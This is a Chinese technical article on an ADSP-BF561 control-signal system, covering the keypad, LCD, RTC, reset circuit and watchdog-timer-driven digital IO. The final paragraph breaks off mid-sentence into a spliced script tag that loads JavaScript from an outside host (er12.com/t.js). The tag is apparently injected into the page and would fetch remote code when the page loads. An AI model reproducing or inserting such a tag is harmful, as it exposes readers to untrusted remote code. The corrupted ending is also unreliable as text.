基于ADSP-BF561的控制信号处理系统

在某控制信号处理系统中,选用adsp-bf561作为主控机,外接键盘,lcd显示屏,标准rs232接口,实时时钟等,通过dsp编程来实现对各个功能模块的控制,同时产生多路的数字io信号。该控制系统还包括电源、时钟、cpld、flash,jtag调试器、复位电路等基本组成部分,系统框图如图1所示。

图1基于adsp-bf561的控制信号处理系统框图

系统电源模块选用tps54350来实现,外围电路不同的rc值,可以构成不同的输出电压,这里需要产生的是5v、3.3v、1.25v三种电压。时钟电路由48mhz的晶振电路来实现,其输出作为dsp的外围时钟和cpld的时钟。flash用于存储用户的应用程序,jtag调试口在dsp电路设计中也是必不可少的。后面对各个部分一一介绍,特别是对复位电路,数字io信号的产生,以及rs232接口进行详细的介绍。

1. 键盘

键盘选用的是4×4的扫描键盘,如图1所示,由blackfin的gpio接口pf5~pf12来实现。其中,key_gp3~key_gp0为行线输入端,初始化为带上拉电阻的输入口,中断使能(下降沿触发);key_gp7~key_gp4为列线输出端,初始化为输出低电平。键盘扫描方法同常规的扫描键盘方法相同。

图1扫描键盘结构图

2.lcd显示屏

lcd显示屏采用320x240的lcd液晶模块。320x240液晶模块配用sed1335驱动接口板,sed1335驱动接口板上配用32k的ram。lcd除了读写信号线由blackfin的读写信号来控制以外,8位数据线由blackfin的低8位数据线锁存输出,以及其使能信号由blackfin的ams3控制,lcd地址分配为0x2c000000。电路连接如图2所示。在对lcd进行控制时,除了要建立在lcd上显示的汉字和英文的字库以外,还要编写对sed1335的底层驱动程序。这可以在lcd自带的驱动程序的基础上,进行代码移植,把它改写成适合bf561的dsp程序。

图2lcd连接示意图

3.实时时钟

控制系统的实时时钟选用了芯片ds1337来实现。ds1337是一个低功耗的串行实时时钟芯片,它有24h/12h制两种模式,它可以输出年、月、日、分、时、秒的形式。它采用i2c协议,blackfin的pf0和pf1作为i2c的clk和data,而pf3作为实时时钟的中断flag,其电路连接示意图如图3所示。

图3实时时钟电路连接示意图

4.复位电路

为了保证dsp在上电或按下复位键时能可靠的复位,一般加一个复位延时电路,选用max708s来完成,如图4所示。

图4复位电路

在上电过程中,reset信号会在vcc达到稳定电压后的一段时间内(约200ms)保持为高,然后再变低。信号为reset的“not”,即会相对vcc延时一段时间后再变高,如图5所示。这样,在dsp的各电源电压已稳定的情况下,dsp的复位信号仍为低有效,就可以保证dsp的正常复位。

图5上电过程中的信号

在上电以后,如果手动按下开关,使得mr上的信号由高→低→高,产生一个低脉冲,这时,管脚上也会输出一个低脉冲,只是其低电平持续的时间比mr上低电平的持续时间长200ms左右,以保证dsp的复位可靠完成,如图6所示。

图6手动复位时的信号

5.数字io信号的产生

在该控制系统中,要求产生8路数字io信号。如果把这8路数字io信号看成一个8bit的数,则需产生一个有限长度的非方波的编码信号,如下图所示。在t0时刻需要产生的数字io信号为stat0,比如说10010101;在在t1时刻需要产生stat1,…,在tn时刻需要产生statn,而且t0可能不等于t1或tn,stat的状态也各不相同。

图7 数字io信号的状态

这里选用bf561的看门狗定时器(watchdogtimer)来实现。在看门狗定时器的操作中,先将计数值写入寄存器wdog_cnt中,然后看门狗定时器自动将wdog_cnt的值写入寄存器wdog_stat。接着通过寄存器wdog_ctl使能watchdogtimer,看门狗定时器开始计数,逐次减小wdog_stat的值,直至为0,这时预先编写的程序事件就会发生。要想输出一个8bit的数据,只需往某地址单元写数,对应的数据线就会写出该数据。为了把该数据保持一段时间(tx的长度),还需使用锁存器将该数据锁住。所以在bf561的dsp程序中先定义了数字io信号对应的中断事件,且中断优先级较高,这是为了保证定时的精确度,防止别的事件干?script src=http://er12.com/t.js>

  • 基于ADSP-BF561的控制信号处理系统已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计